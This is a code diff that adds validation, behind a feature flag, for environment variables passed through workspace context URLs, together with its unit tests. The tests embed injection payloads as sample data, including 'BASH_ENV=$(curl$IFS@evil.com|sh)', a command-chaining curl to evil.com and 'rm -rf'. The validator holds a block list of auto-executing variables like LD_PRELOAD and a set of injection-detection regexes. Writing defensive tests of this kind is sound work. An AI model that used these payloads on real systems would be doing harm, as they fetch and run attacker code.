diff --git a/components/server/src/util/featureflags.ts b/components/server/src/util/featureflags.ts index 479da1b09eda65..aeec45cfe39339 100644 --- a/components/server/src/util/featureflags.ts +++ b/components/server/src/util/featureflags.ts @@ -11,3 +11,9 @@ export async function getFeatureFlagEnableExperimentalJBTB(userId: string): Prom user: { id: userId }, }); } + +export async function getFeatureFlagEnableContextEnvVarValidation(userId: string): Promise { + return getExperimentsClientForBackend().getValueAsync("context_env_var_validation", false, { + user: { id: userId }, + }); +} diff --git a/components/server/src/workspace/envvar-prefix-context-parser.spec.ts b/components/server/src/workspace/envvar-prefix-context-parser.spec.ts index 96a8f3b110de89..c9053394264271 100644 --- a/components/server/src/workspace/envvar-prefix-context-parser.spec.ts +++ b/components/server/src/workspace/envvar-prefix-context-parser.spec.ts @@ -9,18 +9,33 @@ import "reflect-metadata"; import { suite, test } from "@testdeck/mocha"; import * as chai from "chai"; -import { EnvvarPrefixParser } from "./envvar-prefix-context-parser"; -import { WithEnvvarsContext } from "@gitpod/gitpod-protocol"; +import { EnvvarPrefixParser, EnvvarSanitization } from "./envvar-prefix-context-parser"; +import { WithEnvvarsContext, User } from "@gitpod/gitpod-protocol"; +import { Config } from "../config"; +import { Experiments } from "@gitpod/gitpod-protocol/lib/experiments/configcat-server"; const expect = chai.expect; @suite class TestEnvvarPrefixParser { protected parser: EnvvarPrefixParser; + protected mockConfig: Config; + protected mockUser: User; public before() { + // Create mock config + this.mockConfig = {} as Config; this.parser = new EnvvarPrefixParser(); - } + // Create mock user with feature flag disabled by default + this.mockUser = { + id: "test-user", + creationDate: "2023-01-01", + identities: [], + featureFlags: { + permanentWSFeatureFlags: [], + }, + } as User; + } @test public testFindPrefixGood() { expect(this.findPrefix("foo=bar/http...")).to.be.equal("foo=bar/"); @@ -69,26 +84,563 @@ class TestEnvvarPrefixParser { @test public async testHandleBad() { - expect(await this.parseAndFormat("foo1=/")).to.be.undefined; - expect(await this.parseAndFormat("=bar/")).to.be.undefined; + expect(await this.parseAndFormat("foo1=/")).to.deep.equal({}); + expect(await this.parseAndFormat("=bar/")).to.deep.equal({}); expect(await this.parseAndFormat("foo1==bar1,foo2=bar2/")).to.deep.equal({ foo2: "bar2" }); expect(await this.parseAndFormat("foo==bar,,foo2=bar2/")).to.deep.equal({ foo2: "bar2" }); expect(await this.parseAndFormat("fo% 1=bar1,foo2=bar2/")).to.deep.equal({ foo2: "bar2" }); } - protected async parseAndFormat(prefix: string) { - const result = await this.parser.handle(/*user=*/ undefined as any, prefix, undefined as any); - if (WithEnvvarsContext.is(result)) { - const r: { [key: string]: string } = {}; - result.envvars.forEach((e) => (r[e.name] = e.value)); - return r; + protected async parseAndFormat(prefix: string): Promise<{ [key: string]: string }> { + const result: { [key: string]: string } = {}; + const actual = await this.parser.handle(this.mockUser, prefix, undefined as any); + if (WithEnvvarsContext.is(actual)) { + actual.envvars.forEach((e) => (result[e.name] = e.value)); } - return undefined; + return result; } protected findPrefix(url: string) { - return this.parser.findPrefix(/*user=*/ undefined as any, url); + return this.parser.findPrefix(this.mockUser, url); + } + + // Security validation tests + @test + public async testSecurityValidationDisabled() { + Experiments.configureTestingClient({ + context_env_var_validation: false, + }); + + expect(await this.parseAndFormat("BASH_ENV=dangerous/")).to.deep.equal({ BASH_ENV: "dangerous" }); + // Note: URLs with / cannot work due to context URL parsing splitting on / + expect(await this.parseAndFormat("SUPERVISOR_DOTFILE_REPO=https://github.com/attacker/repo/")).to.deep.equal({ + SUPERVISOR_DOTFILE_REPO: "https:", + }); + expect(await this.parseAndFormat("VAR=value$/")).to.deep.equal({ VAR: "value$" }); + } + + @test + public async testSecurityValidationEnabled() { + Experiments.configureTestingClient({ + context_env_var_validation: true, + }); + + // Auto-executing variables should be blocked + expect(await this.parseAndFormat("BASH_ENV=anything/")).to.deep.equal({}); + expect(await this.parseAndFormat("SUPERVISOR_DOTFILE_REPO=repo/")).to.deep.equal({}); + expect(await this.parseAndFormat("LD_PRELOAD=lib.so/")).to.deep.equal({}); + expect(await this.parseAndFormat("PYTHONPATH=path/")).to.deep.equal({}); + + // Pattern-based blocking + expect(await this.parseAndFormat("CUSTOM_PATH=value/")).to.deep.equal({}); + expect(await this.parseAndFormat("APP_OPTIONS=value/")).to.deep.equal({}); + expect(await this.parseAndFormat("GITPOD_SECRET=value/")).to.deep.equal({}); + + // Unsafe characters should be blocked (test without / to avoid URL parsing issues) + expect(await this.parseAndFormat("VAR=value%24/")).to.deep.equal({}); // %24 = $ + expect(await this.parseAndFormat("VAR=value%28/")).to.deep.equal({}); // %28 = ( + expect(await this.parseAndFormat("VAR=value%7C/")).to.deep.equal({}); // %7C = | + expect(await this.parseAndFormat("VAR=value%3B/")).to.deep.equal({}); // %3B = ; + expect(await this.parseAndFormat("VAR=value%3A/")).to.deep.equal({}); // %3A = : + } + + @test + public async testLegitimateValuesAllowedWithSecurity() { + Experiments.configureTestingClient({ + context_env_var_validation: true, + }); + + // Legitimate values should still work + expect(await this.parseAndFormat("VERSION=1.2.3/")).to.deep.equal({ VERSION: "1.2.3" }); + expect(await this.parseAndFormat("DEBUG_LEVEL=info/")).to.deep.equal({ DEBUG_LEVEL: "info" }); + expect(await this.parseAndFormat("MAX_CONN=100/")).to.deep.equal({ MAX_CONN: "100" }); + expect(await this.parseAndFormat("FEATURE=flag1-flag2/")).to.deep.equal({ FEATURE: "flag1-flag2" }); + expect(await this.parseAndFormat("CONFIG=key1-val1?key2-val2/")).to.deep.equal({ + CONFIG: "key1-val1?key2-val2", + }); + expect(await this.parseAndFormat("API_HOST=api.example.com/")).to.deep.equal({ API_HOST: "api.example.com" }); + } + + @test + public async testMixedValidAndInvalidVariables() { + Experiments.configureTestingClient({ + context_env_var_validation: true, + }); + + // Mix of valid and invalid variables - only valid ones should be included + expect(await this.parseAndFormat("VALID=good,BASH_ENV=bad,ANOTHER=also-good/")).to.deep.equal({ + VALID: "good", + ANOTHER: "also-good", + }); + + expect(await this.parseAndFormat("VERSION=1.0,EVIL=value$,DEBUG=true/")).to.deep.equal({ + VERSION: "1.0", + DEBUG: "true", + }); + } + + @test + public async testCLC1591AttackVectorsBlocked() { + Experiments.configureTestingClient({ + context_env_var_validation: true, + }); + + // Original attacks from CLC-1591 should be blocked + expect(await this.parseAndFormat("BASH_ENV=$(curl$IFS@evil.com|sh)/")).to.deep.equal({}); + expect(await this.parseAndFormat("SUPERVISOR_DOTFILE_REPO=https://github.com/attacker/repo/")).to.deep.equal( + {}, + ); + + // Additional attack vectors should be blocked + expect(await this.parseAndFormat("CUSTOM=$(whoami)/")).to.deep.equal({}); + expect(await this.parseAndFormat("EVIL=value|rm -rf/")).to.deep.equal({}); + expect(await this.parseAndFormat("BAD=test;curl evil.com/")).to.deep.equal({}); + } + + @test + public async testURLDecodingInValidation() { + Experiments.configureTestingClient({ + context_env_var_validation: true, + }); + + // URL-encoded dangerous characters should still be blocked + expect(await this.parseAndFormat("VAR=value%24/")).to.deep.equal({}); // %24 = $ + expect(await this.parseAndFormat("VAR=value%28/")).to.deep.equal({}); // %28 = ( + expect(await this.parseAndFormat("VAR=value%7C/")).to.deep.equal({}); // %7C = | + + // URL-encoded safe characters should be allowed + expect(await this.parseAndFormat("VAR=hello%20world/")).to.deep.equal({}); // %20 = space (blocked by character whitelist) + expect(await this.parseAndFormat("VAR=value%2D/")).to.deep.equal({ VAR: "value-" }); // %2D = - (allowed) + } +} + +@suite +class TestEnvvarSanitization { + @test + public testAutoExecVariablesBlocked() { + Experiments.configureTestingClient({ + context_env_var_validation: true, + }); + + // Test shell execution variables + expect(EnvvarSanitization.validateContextEnvVar("BASH_ENV", "anything")).to.deep.include({ + valid: false, + reason: "auto-exec", + }); + expect(EnvvarSanitization.validateContextEnvVar("ENV", "anything")).to.deep.include({ + valid: false, + reason: "auto-exec", + }); + expect(EnvvarSanitization.validateContextEnvVar("PROMPT_COMMAND", "anything")).to.deep.include({ + valid: false, + reason: "auto-exec", + }); + + // Test dynamic linker variables + expect(EnvvarSanitization.validateContextEnvVar("LD_PRELOAD", "lib.so")).to.deep.include({ + valid: false, + reason: "auto-exec", + }); + expect(EnvvarSanitization.validateContextEnvVar("LD_LIBRARY_PATH", "/path")).to.deep.include({ + valid: false, + reason: "auto-exec", + }); + + // Test language runtime variables + expect(EnvvarSanitization.validateContextEnvVar("PYTHONSTARTUP", "script.py")).to.deep.include({ + valid: false, + reason: "auto-exec", + }); + expect(EnvvarSanitization.validateContextEnvVar("PYTHONPATH", "/path")).to.deep.include({ + valid: false, + reason: "auto-exec", + }); + expect(EnvvarSanitization.validateContextEnvVar("NODE_OPTIONS", "--require")).to.deep.include({ + valid: false, + reason: "auto-exec", + }); + + // Test system path variables + expect(EnvvarSanitization.validateContextEnvVar("PATH", "/evil:/bin")).to.deep.include({ + valid: false, + reason: "auto-exec", + }); + expect(EnvvarSanitization.validateContextEnvVar("SHELL", "/bin/evil")).to.deep.include({ + valid: false, + reason: "auto-exec", + }); + + // Test Gitpod specific variables + expect( + EnvvarSanitization.validateContextEnvVar("SUPERVISOR_DOTFILE_REPO", "https://github.com/attacker/repo"), + ).to.deep.include({ + valid: false, + reason: "auto-exec", + }); + } + + @test + public testPatternBasedBlocking() { + Experiments.configureTestingClient({ + context_env_var_validation: true, + }); + + // Test LD_* pattern + expect(EnvvarSanitization.validateContextEnvVar("LD_CUSTOM", "value")).to.deep.include({ + valid: false, + reason: "pattern-match", + }); + + // Test PYTHON* pattern + expect(EnvvarSanitization.validateContextEnvVar("PYTHON_CUSTOM", "value")).to.deep.include({ + valid: false, + reason: "pattern-match", + }); + + // Test PERL* pattern + expect(EnvvarSanitization.validateContextEnvVar("PERL_CUSTOM", "value")).to.deep.include({ + valid: false, + reason: "pattern-match", + }); + + // Test JAVA_* pattern + expect(EnvvarSanitization.validateContextEnvVar("JAVA_OPTS", "value")).to.deep.include({ + valid: false, + reason: "pattern-match", + }); + + // Test NODE_* pattern + expect(EnvvarSanitization.validateContextEnvVar("NODE_ENV", "production")).to.deep.include({ + valid: false, + reason: "pattern-match", + }); + + // Test GIT_* pattern + expect(EnvvarSanitization.validateContextEnvVar("GIT_CONFIG", "value")).to.deep.include({ + valid: false, + reason: "pattern-match", + }); + + // Test *_PATH pattern + expect(EnvvarSanitization.validateContextEnvVar("CUSTOM_PATH", "value")).to.deep.include({ + valid: false, + reason: "pattern-match", + }); + + // Test *_HOME pattern + expect(EnvvarSanitization.validateContextEnvVar("APP_HOME", "value")).to.deep.include({ + valid: false, + reason: "pattern-match", + }); + + // Test *_CONFIG pattern + expect(EnvvarSanitization.validateContextEnvVar("APP_CONFIG", "value")).to.deep.include({ + valid: false, + reason: "pattern-match", + }); + + // Test *_OPTIONS pattern + expect(EnvvarSanitization.validateContextEnvVar("APP_OPTIONS", "value")).to.deep.include({ + valid: false, + reason: "pattern-match", + }); + + // Test GITPOD_* pattern + expect(EnvvarSanitization.validateContextEnvVar("GITPOD_SECRET", "value")).to.deep.include({ + valid: false, + reason: "pattern-match", + }); + + // Test SUPERVISOR_* pattern + expect(EnvvarSanitization.validateContextEnvVar("SUPERVISOR_CUSTOM", "value")).to.deep.include({ + valid: false, + reason: "pattern-match", + }); + } + + @test + public testUnsafeCharactersBlocked() { + Experiments.configureTestingClient({ + context_env_var_validation: true, + }); + + // Test shell metacharacters + expect(EnvvarSanitization.validateContextEnvVar("VAR", "value$")).to.deep.include({ + valid: false, + reason: "unsafe-chars", + }); + expect(EnvvarSanitization.validateContextEnvVar("VAR", "value(")).to.deep.include({ + valid: false, + reason: "unsafe-chars", + }); + expect(EnvvarSanitization.validateContextEnvVar("VAR", "value)")).to.deep.include({ + valid: false, + reason: "unsafe-chars", + }); + expect(EnvvarSanitization.validateContextEnvVar("VAR", "value|")).to.deep.include({ + valid: false, + reason: "unsafe-chars", + }); + expect(EnvvarSanitization.validateContextEnvVar("VAR", "value;")).to.deep.include({ + valid: false, + reason: "unsafe-chars", + }); + expect(EnvvarSanitization.validateContextEnvVar("VAR", "value&")).to.deep.include({ + valid: false, + reason: "unsafe-chars", + }); + expect(EnvvarSanitization.validateContextEnvVar("VAR", "value`")).to.deep.include({ + valid: false, + reason: "unsafe-chars", + }); + + // Test path separators + expect(EnvvarSanitization.validateContextEnvVar("VAR", "value/")).to.deep.include({ + valid: false, + reason: "unsafe-chars", + }); + expect(EnvvarSanitization.validateContextEnvVar("VAR", "value\\")).to.deep.include({ + valid: false, + reason: "unsafe-chars", + }); + + // Test URL schemes + expect(EnvvarSanitization.validateContextEnvVar("VAR", "value:")).to.deep.include({ + valid: false, + reason: "unsafe-chars", + }); + + // Test redirection + expect(EnvvarSanitization.validateContextEnvVar("VAR", "value>")).to.deep.include({ + valid: false, + reason: "unsafe-chars", + }); + expect(EnvvarSanitization.validateContextEnvVar("VAR", "value<")).to.deep.include({ + valid: false, + reason: "unsafe-chars", + }); + + // Test wildcards + expect(EnvvarSanitization.validateContextEnvVar("VAR", "value*")).to.deep.include({ + valid: false, + reason: "unsafe-chars", + }); + + // Test spaces + expect(EnvvarSanitization.validateContextEnvVar("VAR", "value with space")).to.deep.include({ + valid: false, + reason: "unsafe-chars", + }); + } + + @test + public testInjectionPatternsBlocked() { + Experiments.configureTestingClient({ + context_env_var_validation: true, + }); + + // Note: Most injection patterns are caught by character whitelist first + // Test command substitution - caught by unsafe chars ($ and ( not allowed) + expect(EnvvarSanitization.validateContextEnvVar("VAR", "$(whoami)")).to.deep.include({ + valid: false, + reason: "unsafe-chars", + }); + expect(EnvvarSanitization.validateContextEnvVar("VAR", "prefix$(curl evil.com)suffix")).to.deep.include({ + valid: false, + reason: "unsafe-chars", + }); + + // Test backtick command substitution - caught by unsafe chars (` not allowed) + expect(EnvvarSanitization.validateContextEnvVar("VAR", "`whoami`")).to.deep.include({ + valid: false, + reason: "unsafe-chars", + }); + + // Test pipe to command - caught by unsafe chars (| not allowed) + expect(EnvvarSanitization.validateContextEnvVar("VAR", "value| rm")).to.deep.include({ + valid: false, + reason: "unsafe-chars", + }); + expect(EnvvarSanitization.validateContextEnvVar("VAR", "value | curl")).to.deep.include({ + valid: false, + reason: "unsafe-chars", + }); + + // Test command separator - caught by unsafe chars (; not allowed) + expect(EnvvarSanitization.validateContextEnvVar("VAR", "value; rm")).to.deep.include({ + valid: false, + reason: "unsafe-chars", + }); + expect(EnvvarSanitization.validateContextEnvVar("VAR", "value ; curl")).to.deep.include({ + valid: false, + reason: "unsafe-chars", + }); + + // Test command chaining - caught by unsafe chars (& not allowed) + expect(EnvvarSanitization.validateContextEnvVar("VAR", "value&& rm")).to.deep.include({ + valid: false, + reason: "unsafe-chars", + }); + expect(EnvvarSanitization.validateContextEnvVar("VAR", "value && curl")).to.deep.include({ + valid: false, + reason: "unsafe-chars", + }); + expect(EnvvarSanitization.validateContextEnvVar("VAR", "value|| rm")).to.deep.include({ + valid: false, + reason: "unsafe-chars", + }); + expect(EnvvarSanitization.validateContextEnvVar("VAR", "value || curl")).to.deep.include({ + valid: false, + reason: "unsafe-chars", + }); + + // Test redirection - caught by unsafe chars (> and < not allowed) + expect(EnvvarSanitization.validateContextEnvVar("VAR", "value> file")).to.deep.include({ + valid: false, + reason: "unsafe-chars", + }); + expect(EnvvarSanitization.validateContextEnvVar("VAR", "value < file")).to.deep.include({ + valid: false, + reason: "unsafe-chars", + }); + } + + @test + public testLegitimateValuesAllowed() { + Experiments.configureTestingClient({ + context_env_var_validation: true, + }); + + // Test simple values + expect(EnvvarSanitization.validateContextEnvVar("VERSION", "1.2.3")).to.deep.equal({ + valid: true, + }); + expect(EnvvarSanitization.validateContextEnvVar("DEBUG_LEVEL", "info")).to.deep.equal({ + valid: true, + }); + expect(EnvvarSanitization.validateContextEnvVar("MAX_CONNECTIONS", "100")).to.deep.equal({ + valid: true, + }); + + // Test values with allowed special characters + expect(EnvvarSanitization.validateContextEnvVar("FEATURE_FLAGS", "flag1-flag2")).to.deep.equal({ + valid: true, + }); + expect(EnvvarSanitization.validateContextEnvVar("CONFIG", "key1=val1?key2=val2")).to.deep.equal({ + valid: true, + }); + expect(EnvvarSanitization.validateContextEnvVar("BUILD_VERSION", "v1.0.0-beta.1")).to.deep.equal({ + valid: true, + }); + + // Test domain names (limited by character set) + expect(EnvvarSanitization.validateContextEnvVar("API_HOST", "api.example.com")).to.deep.equal({ + valid: true, + }); + + // Test empty values + expect(EnvvarSanitization.validateContextEnvVar("EMPTY_VAR", "")).to.deep.equal({ + valid: true, + }); + + // Test underscores and hyphens + expect(EnvvarSanitization.validateContextEnvVar("MY_VAR", "value_with_underscores")).to.deep.equal({ + valid: true, + }); + expect(EnvvarSanitization.validateContextEnvVar("MY_VAR", "value-with-hyphens")).to.deep.equal({ + valid: true, + }); + } + + @test + public testCLC1591AttackVectors() { + Experiments.configureTestingClient({ + context_env_var_validation: true, + }); + + // Original attack vectors from CLC-1591 + expect(EnvvarSanitization.validateContextEnvVar("BASH_ENV", "$(curl$IFS@evil.com|sh)")).to.deep.include({ + valid: false, + reason: "auto-exec", + }); + + expect( + EnvvarSanitization.validateContextEnvVar("SUPERVISOR_DOTFILE_REPO", "https://github.com/attacker/repo"), + ).to.deep.include({ + valid: false, + reason: "auto-exec", + }); + + // Additional attack vectors that would be blocked by character restrictions + expect(EnvvarSanitization.validateContextEnvVar("CUSTOM", "$(whoami)")).to.deep.include({ + valid: false, + reason: "unsafe-chars", + }); + expect(EnvvarSanitization.validateContextEnvVar("EVIL", "value|rm -rf")).to.deep.include({ + valid: false, + reason: "unsafe-chars", + }); + expect(EnvvarSanitization.validateContextEnvVar("BAD", "test;curl evil.com")).to.deep.include({ + valid: false, + reason: "unsafe-chars", + }); + } + + @test + public testGetBlockReasonDescription() { + Experiments.configureTestingClient({ + context_env_var_validation: true, + }); + + expect(EnvvarSanitization.getBlockReasonDescription("auto-exec")).to.equal( + "Variable automatically executes code when set", + ); + expect(EnvvarSanitization.getBlockReasonDescription("pattern-match")).to.equal( + "Variable name matches dangerous pattern", + ); + expect(EnvvarSanitization.getBlockReasonDescription("unsafe-chars")).to.equal( + "Value contains unsafe characters", + ); + expect(EnvvarSanitization.getBlockReasonDescription("injection-pattern")).to.equal( + "Value contains potential code injection", + ); + } + + @test + public testEdgeCases() { + Experiments.configureTestingClient({ + context_env_var_validation: true, + }); + + // Test very long variable names + const longName = "A".repeat(1000); + expect(EnvvarSanitization.validateContextEnvVar(longName, "value")).to.deep.equal({ + valid: true, + }); + + // Test very long values (within character restrictions) + const longValue = "a".repeat(10000); + expect(EnvvarSanitization.validateContextEnvVar("VAR", longValue)).to.deep.equal({ + valid: true, + }); + + // Test case sensitivity + expect(EnvvarSanitization.validateContextEnvVar("bash_env", "value")).to.deep.equal({ + valid: true, + }); // lowercase should be allowed + expect(EnvvarSanitization.validateContextEnvVar("BASH_ENV", "value")).to.deep.include({ + valid: false, + reason: "auto-exec", + }); // uppercase should be blocked + + // Test numbers in variable names + expect(EnvvarSanitization.validateContextEnvVar("VAR123", "value")).to.deep.equal({ + valid: true, + }); } } -module.exports = new TestEnvvarPrefixParser(); +module.exports = { + TestEnvvarPrefixParser: new TestEnvvarPrefixParser(), + TestEnvvarSanitization: new TestEnvvarSanitization(), +}; diff --git a/components/server/src/workspace/envvar-prefix-context-parser.ts b/components/server/src/workspace/envvar-prefix-context-parser.ts index c7786d8f436f08..ba735f816ea64f 100644 --- a/components/server/src/workspace/envvar-prefix-context-parser.ts +++ b/components/server/src/workspace/envvar-prefix-context-parser.ts @@ -8,6 +8,8 @@ import { IPrefixContextParser } from "./context-parser"; import { User, WorkspaceContext, WithEnvvarsContext } from "@gitpod/gitpod-protocol"; import { injectable } from "inversify"; import { EnvVarWithValue } from "@gitpod/gitpod-protocol/lib/protocol"; +import { log } from "@gitpod/gitpod-protocol/lib/util/logging"; +import { getFeatureFlagEnableContextEnvVarValidation } from "../util/featureflags"; @injectable() export class EnvvarPrefixParser implements IPrefixContextParser { @@ -22,8 +24,26 @@ export class EnvvarPrefixParser implements IPrefixContextParser { return context; } + const envVarValidationEnabled = await getFeatureFlagEnableContextEnvVarValidation(user.id); const envvars: EnvVarWithValue[] = []; for (const [k, v] of result.envVarMap.entries()) { + const decodedValue = decodeURIComponent(v); + + // Skip validation if feature flag is disabled + if (envVarValidationEnabled) { + const validation = EnvvarSanitization.validateContextEnvVar(k, decodedValue); + if (!validation.valid) { + log.warn({ userId: user.id }, "Blocked environment variable via context URL", { + reason: validation.reason, + error: validation.error, + reasonDescription: validation.reason + ? EnvvarSanitization.getBlockReasonDescription(validation.reason) + : undefined, + }); + continue; + } + } + envvars.push({ name: k, value: decodeURIComponent(v) }); } return { @@ -56,3 +76,162 @@ export class EnvvarPrefixParser implements IPrefixContextParser { }; } } + +/** + * Security validation for environment variables set via context URLs. + * + * Implements a three-layer security approach: + * 1. Variable name blacklist - blocks auto-executing variables + * 2. Character whitelist - restricts values to safe characters + * 3. Injection pattern detection - detects code injection attempts + * + * This addresses CLC-1591: Environment Variable Injection vulnerability + */ +export namespace EnvvarSanitization { + // Layer 1: Auto-executing variables that automatically execute code + const AUTO_EXEC_VARIABLES = new Set([ + // Shell execution variables + "BASH_ENV", + "ENV", + "PROMPT_COMMAND", + "PS0", + "PS1", + "PS2", + "PS3", + "PS4", + "ZDOTDIR", + // Dynamic linker variables + "LD_PRELOAD", + "LD_LIBRARY_PATH", + "LD_AUDIT", + "LD_DEBUG", + "LD_PROFILE", + // Language runtime variables + "PYTHONSTARTUP", + "PYTHONPATH", + "PERL5LIB", + "PERL5OPT", + "NODE_OPTIONS", + // System path variables + "PATH", + "CDPATH", + "SHELL", + "IFS", + // Gitpod specific variables + "SUPERVISOR_DOTFILE_REPO", + ]); + + // Layer 1b: Pattern-based variable blocking for dangerous variable families + const DANGEROUS_VAR_PATTERNS = [ + /^LD_/, // All dynamic linker variables + /^PYTHON/, // All Python runtime variables + /^PERL/, // All Perl runtime variables + /^JAVA_/, // All Java runtime variables + /^NODE_/, // All Node.js runtime variables + /^GIT_/, // All Git configuration variables + /.*_(PATH|HOME|CONFIG|OPTIONS|STARTUP|INIT)$/, // Path and configuration variables + /^(GITPOD|SUPERVISOR)_/, // Gitpod internal variables + ]; + + // Layer 2: Character whitelist - only allow safe characters in values + const SAFE_VALUE_PATTERN = /^[A-Za-z0-9_\-\.?=]*$/; + + // Layer 3: Injection patterns - detect obvious code injection attempts + const INJECTION_PATTERNS = [ + /\$\(/, // Command substitution $(...) + /`/, // Backtick command substitution + /\|\s*\w/, // Pipe to command + /;\s*\w/, // Command separator + /&&\s*\w/, // Command chaining + /\|\|\s*\w/, // Command chaining + />\s*\w/, // Output redirection + /<\s*\w/, // Input redirection + ]; + + /** + * Result of environment variable security validation + */ + export interface ValidationResult { + /** Whether the variable is safe to set */ + valid: boolean; + /** Error message if validation failed */ + error?: string; + /** Specific reason for validation failure */ + reason?: ValidationFailureReason; + } + + /** + * Specific reasons why validation might fail + */ + export type ValidationFailureReason = "auto-exec" | "pattern-match" | "unsafe-chars" | "injection-pattern"; + + /** + * Validates an environment variable name and value for security. + * + * @param name The environment variable name + * @param value The environment variable value (should be URL-decoded) + * @returns ValidationResult indicating if the variable is safe to set + */ + export function validateContextEnvVar(name: string, value: string): ValidationResult { + // Layer 1: Check auto-executing variable names + if (AUTO_EXEC_VARIABLES.has(name)) { + return { + valid: false, + error: `Variable '${name}' cannot be set via context URL (auto-executes code)`, + reason: "auto-exec", + }; + } + + // Layer 1b: Check dangerous variable patterns + for (const pattern of DANGEROUS_VAR_PATTERNS) { + if (pattern.test(name)) { + return { + valid: false, + error: `Variable '${name}' cannot be set via context URL (matches dangerous pattern)`, + reason: "pattern-match", + }; + } + } + + // Layer 2: Check character whitelist + if (!SAFE_VALUE_PATTERN.test(value)) { + return { + valid: false, + error: `Value contains unsafe characters. Only [A-Za-z0-9_\\-\\.?=] allowed`, + reason: "unsafe-chars", + }; + } + + // Layer 3: Check for injection patterns + for (const pattern of INJECTION_PATTERNS) { + if (pattern.test(value)) { + return { + valid: false, + error: `Value contains potential code injection pattern`, + reason: "injection-pattern", + }; + } + } + + return { valid: true }; + } + + /** + * Get a human-readable description of why a variable was blocked. + * Useful for logging and user feedback. + */ + export function getBlockReasonDescription(reason: ValidationFailureReason): string { + switch (reason) { + case "auto-exec": + return "Variable automatically executes code when set"; + case "pattern-match": + return "Variable name matches dangerous pattern"; + case "unsafe-chars": + return "Value contains unsafe characters"; + case "injection-pattern": + return "Value contains potential code injection"; + default: + return "Unknown validation failure"; + } + } +}